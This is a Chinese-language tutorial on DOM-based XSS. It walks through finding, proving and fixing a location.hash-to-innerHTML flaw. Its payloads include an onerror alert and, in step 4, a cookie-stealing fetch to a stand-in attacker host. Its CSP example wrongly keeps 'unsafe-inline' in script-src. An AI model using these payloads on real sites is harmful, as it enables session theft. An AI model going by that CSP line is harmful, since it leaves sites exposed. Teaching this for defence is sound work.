主页 > 开源代码  > 

【DOM型XSS举例】

【DOM型XSS举例】

DOM 型 XSS 1.举个例子2.渗透测试步骤验证与详细逻辑步骤 1:探测输入点步骤 2:分析代码逻辑步骤 3:构造 PoC步骤 4:验证利用 3.步骤排查与修正潜在遗漏点 4.防御措施与根本原因漏洞根源修复方案 5.总结

以下是针对 DOM 型 XSS 漏洞案例 的详细分析,包含步骤验证、逻辑原理与判断依据,确保流程严谨性:


1.举个例子

某网站存在以下代码:

// 从 URL 的 hash 片段中提取内容并直接渲染到页面 const userInput = window.location.hash.substring(1); // 获取 # 后的内容 document.getElementById('content').innerHTML = userInput; // 直接插入 HTML

攻击者可通过构造恶意 URL(如 target /#<img src=x onerror=alert(1)>)触发 XSS。


2.渗透测试步骤验证与详细逻辑 步骤 1:探测输入点

操作: 修改 URL 为 target /#<img src=x onerror=console.log(1)>,观察浏览器控制台是否输出 1。

原理与判断依据:

DOM 型 XSS 的触发条件:

漏洞源于客户端代码(如 innerHTML)直接使用未经处理的用户输入(此处为 location.hash)。location.hash 的值(即 # 后的内容)由浏览器解析,不会发送到服务器,因此传统服务端过滤可能失效。

选择 <img> 标签测试的原因:

<img> 的 src 属性设置为无效值(x),触发 onerror 事件,执行 JS 代码。相较于 <script> 标签,<img> 更可能绕过简单的黑名单过滤(如过滤 <script> 但允许 <img>)。

预期结果:

若控制台输出 1,说明 innerHTML 将 onerror 代码解析为可执行脚本,漏洞存在。关键验证点:确认漏洞触发位置在客户端,而非服务端返回的响应内容(区别于反射型/存储型 XSS)。
步骤 2:分析代码逻辑

操作: 在开发者工具的 Sources 面板中搜索 innerHTML,定位漏洞代码并设置断点跟踪 userInput 的赋值过程。

原理与判断依据:

搜索 innerHTML 的原因:

innerHTML 是常见的 XSS 风险点,因其直接将字符串解析为 HTML,可能执行嵌入的脚本。安全替代方案:使用 textContent 或 innerText 仅渲染纯文本。

断点调试的目的:

跟踪数据流:确认 userInput 是否完全由 location.hash 控制,未经过滤或编码。验证攻击链: 断点设置在 document.getElementById('content').innerHTML = userInput; 行。当页面加载时,观察 userInput 的值是否为攻击者控制的字符串(如 <img ...>)。

逻辑漏洞排查:

检查是否有客户端过滤函数(如 escapeHtml(userInput))被遗漏。确认是否因异步加载(如 AJAX)导致输入未被捕获。
步骤 3:构造 PoC

操作: 通过控制台直接注入代码:

window.location.hash = '<script>alert(document.domain)</script>';

原理与判断依据:

为何修改 location.hash:

location.hash 的修改会更新 URL 但不会重载页面(除非代码主动监听 hashchange 事件)。在此案例中,漏洞代码在页面初始化时执行,因此需刷新页面触发解析新 hash 值。

使用 <script> 标签的可行性:

现代浏览器默认不会执行由 innerHTML 插入的 <script> 标签(HTML5 规范限制),但其他标签(如 <img>、<svg>)的事件处理器仍可触发。绕过限制的替代方案:window.location.hash = '<img src=x onerror=alert(document.domain)>';

控制台注入的意义:

开发者工具拥有当前页面的 JavaScript 执行权限,可直接操作 DOM 或修改变量,用于快速验证漏洞利用链。
步骤 4:验证利用

操作: 刷新页面,观察是否弹出包含当前域名的弹窗。

原理与判断依据:

弹窗内容 document.domain 的作用:

确认脚本执行在目标域的安全上下文中(如 target ),可访问该域的 Cookie、LocalStorage 等敏感数据。若弹窗显示 attacker ,则可能存在跨域问题或代码注入位置错误。

实际攻击的隐蔽性优化:

生产环境中应避免弹窗,改为静默窃取数据:// 将 Cookie 发送至攻击者服务器 window.location.hash = `<img src=x onerror="fetch(' attacker /steal?data='+btoa(document.cookie))">`;
3.步骤排查与修正 潜在遗漏点

未刷新页面:

修改 location.hash 后,若未刷新页面或重新触发漏洞代码执行,攻击载荷不会生效。修正:确保刷新页面或确认代码在 hash 变化时自动执行(如监听 hashchange 事件)。

依赖 <script> 标签:

如前所述,innerHTML 插入的 <script> 不会执行,可能导致误判漏洞不存在。修正:优先使用 <img>、<svg> 等标签的事件处理器。
4.防御措施与根本原因 漏洞根源 直接原因:innerHTML 未对用户输入(location.hash)进行转义或过滤。深层原因:开发者未遵循 “数据与代码分离” 原则,将用户输入视为代码执行。 修复方案 安全编码:使用 textContent 替代 innerHTML:document.getElementById('content').textContent = userInput; 输入过滤:对 userInput 进行 HTML 实体编码:function escapeHtml(unsafe) { return unsafe.replace(/[&<>"']/g, (c) => ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' })[c]); } document.getElementById('content').innerHTML = escapeHtml(userInput); 启用 CSP:通过 HTTP 头限制脚本执行来源:Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
5.总结

通过本案例可清晰看到 DOM 型 XSS 的完整利用链:

输入点控制:location.hash 用户可控危险函数调用:innerHTML 直接渲染代码执行:浏览器解析恶意 HTML/JS。

渗透测试的核心在于 追踪用户输入流向 并验证其是否触发代码执行,而修复需从根本上避免将用户输入视为代码。

标签:

【DOM型XSS举例】由讯客互联开源代码栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“【DOM型XSS举例】